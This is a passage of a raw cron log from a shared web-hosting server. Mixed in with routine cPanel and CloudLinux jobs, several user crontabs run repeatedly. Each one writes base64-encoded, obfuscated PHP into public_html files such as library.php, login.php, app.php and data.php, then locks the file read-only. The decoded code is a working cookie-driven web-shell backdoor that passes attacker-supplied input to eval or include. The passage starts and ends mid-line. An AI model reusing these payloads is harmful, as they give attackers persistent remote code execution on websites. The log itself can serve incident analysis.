"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:56:01 medusa CROND[16123]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:56:01 medusa CROND[16118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:56:01 medusa CROND[16126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:56:01 medusa CROND[16117]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:57:01 medusa CROND[17972]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:57:01 medusa CROND[17973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:57:01 medusa CROND[17974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:57:01 medusa CROND[17975]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:57:01 medusa CROND[17976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:57:01 medusa CROND[17977]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:57:01 medusa CROND[17980]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:57:01 medusa CROND[17981]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:57:01 medusa CROND[17982]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:57:01 medusa CROND[17983]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:57:01 medusa CROND[17984]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:57:01 medusa CROND[17985]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:58:01 medusa CROND[19606]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:58:01 medusa CROND[19608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:58:01 medusa CROND[19618]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:58:01 medusa CROND[19619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:58:01 medusa CROND[19620]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:58:01 medusa CROND[19624]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 06:58:01 medusa CROND[19626]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:58:01 medusa CROND[19627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:58:01 medusa CROND[19629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:58:01 medusa CROND[19630]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:58:01 medusa CROND[19632]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:58:01 medusa CROND[19633]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI